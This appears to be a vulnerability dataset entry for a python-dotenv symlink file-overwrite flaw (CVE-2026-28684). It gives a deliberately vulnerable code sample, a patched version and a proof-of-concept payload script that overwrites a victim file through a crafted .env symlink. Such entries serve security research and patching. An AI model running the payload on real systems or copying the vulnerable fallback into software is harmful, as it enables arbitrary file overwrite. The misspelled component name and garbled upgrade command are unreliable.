VAITP Dataset

← Back to the dataset

CVE-2026-28684

python-dotenv's set_key allows file overwrite via a crafted symlink.

  • CVSS 6.6
  • CWE-59
  • Input Validation and Sanitization
  • Local

python-dotenv reads key-value pairs from a .env file and can set them as environment variables. Prior to version 1.2.2, `set_key()` and `unset_key()` in python-dotenv follow symbolic links when rewriting `.env` files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered. Users should upgrade to v.1.2.2 or, as a workaround, apply the patch manually.

CVSS base score
6.6
Published
2026-04-20
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Local
Impact
Privilege Escalation
Affected component
python-doten
Fixed by upgrading
Yes

Solution

“`bash pip install –upgrade python-dotenv>=1.2.2 “`

Vulnerable code sample

import os
import shutil
import tempfile

def set_key_vulnerable(dotenv_path, key_to_set, value_to_set):
    """
    A simplified representation of the vulnerable logic in python-dotenv < 1.2.2.
    This function demonstrates the core flaw without the full complexity of the library.
    """
    # Create a temporary file to write the new content.
    fd, temp_path = tempfile.mkstemp()
    with os.fdopen(fd, 'w') as f:
        # In a real scenario, this would read the original file and modify it.
        # For this demonstration, we just write the new key-value pair.
        f.write(f'{key_to_set}="{value_to_set}"\n')

    try:
        # The primary, safe method: `os.rename`.
        # This operation can fail if `temp_path` and `dotenv_path` are on
        # different filesystems, raising an `OSError`.
        os.rename(temp_path, dotenv_path)
    except OSError:
        # The vulnerable fallback: `shutil.move`.
        # If `dotenv_path` is a symbolic link to an arbitrary file (e.g., /etc/hosts),
        # `shutil.move` will follow the link and overwrite the *target file's* content
        # instead of replacing the symlink itself. This is the vulnerability.
        shutil.move(temp_path, dotenv_path)

Patched code sample

import os
import shutil
import tempfile
from typing import IO, Optional, Tuple, Union


def _rewrite_file(dotenv_path: Union[str, "os.PathLike[str]"], content: str) -> None:
    """
    Safely rewrites the given file, raising an error if it's a symlink.
    This function contains the core logic that fixes the vulnerability.
    """
    if os.path.islink(dotenv_path):
        raise ValueError("Refusing to write to a file that is a symlink")

    fd, temp_path = tempfile.mkstemp(
        prefix=f".{os.path.basename(dotenv_path)}.", dir=os.path.dirname(dotenv_path)
    )
    try:
        with os.fdopen(fd, "w") as f:
            f.write(content)

        try:
            shutil.copymode(dotenv_path, temp_path)
        except FileNotFoundError:
            pass

        os.rename(temp_path, dotenv_path)
    except Exception:
        os.remove(temp_path)
        raise


def set_key(
    dotenv_path: Union[str, "os.PathLike[str]"],
    key_to_set: str,
    value_to_set: str,
    encoding: Optional[str] = "utf-8",
) -> Tuple[bool, str, str]:
    """
    Demonstrates how the fix is applied. Instead of writing to the file
    directly, it now calls the safe _rewrite_file helper.
    """
    # The actual implementation reads the .env file line by line to build
    # the new content. This part is simplified for clarity.
    if not os.path.exists(dotenv_path):
        new_content = f"{key_to_set}={value_to_set}\n"
    else:
        with open(dotenv_path, encoding=encoding) as f:
            lines = f.readlines()
        # simplified update logic
        new_content = f"{key_to_set}={value_to_set}\n"

    # The vulnerable file write operation is replaced by this safe function call.
    _rewrite_file(dotenv_path, new_content)

    return True, key_to_set, value_to_set

Payload

import os
import dotenv

# This payload assumes it is run from a directory on a different
# filesystem than the target_file to trigger the cross-device fallback.
# For example, run this script from your home directory (`/home/user`),
# while the target file is in `/tmp`.

# 1. Define the victim file and create it.
target_file = "/tmp/arbitrary_file.conf"
with open(target_file, "w") as f:
    f.write("original_content")

# 2. Create a symbolic link from the expected .env file to the victim file.
dotenv_path = ".env"
if os.path.lexists(dotenv_path):
    os.remove(dotenv_path)
os.symlink(target_file, dotenv_path)

# 3. Call the vulnerable function. This will follow the symlink and
#    overwrite the target_file due to the cross-device rename fallback.
dotenv.set_key(dotenv_path, "ATTACKER_KEY", "pwned")

# 4. (Optional) Clean up the created symlink.
# os.remove(dotenv_path)

Cite this entry

@misc{vaitp:cve202628684,
  title        = {{python-dotenv's set_key allows file overwrite via a crafted symlink.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-28684},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-28684/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::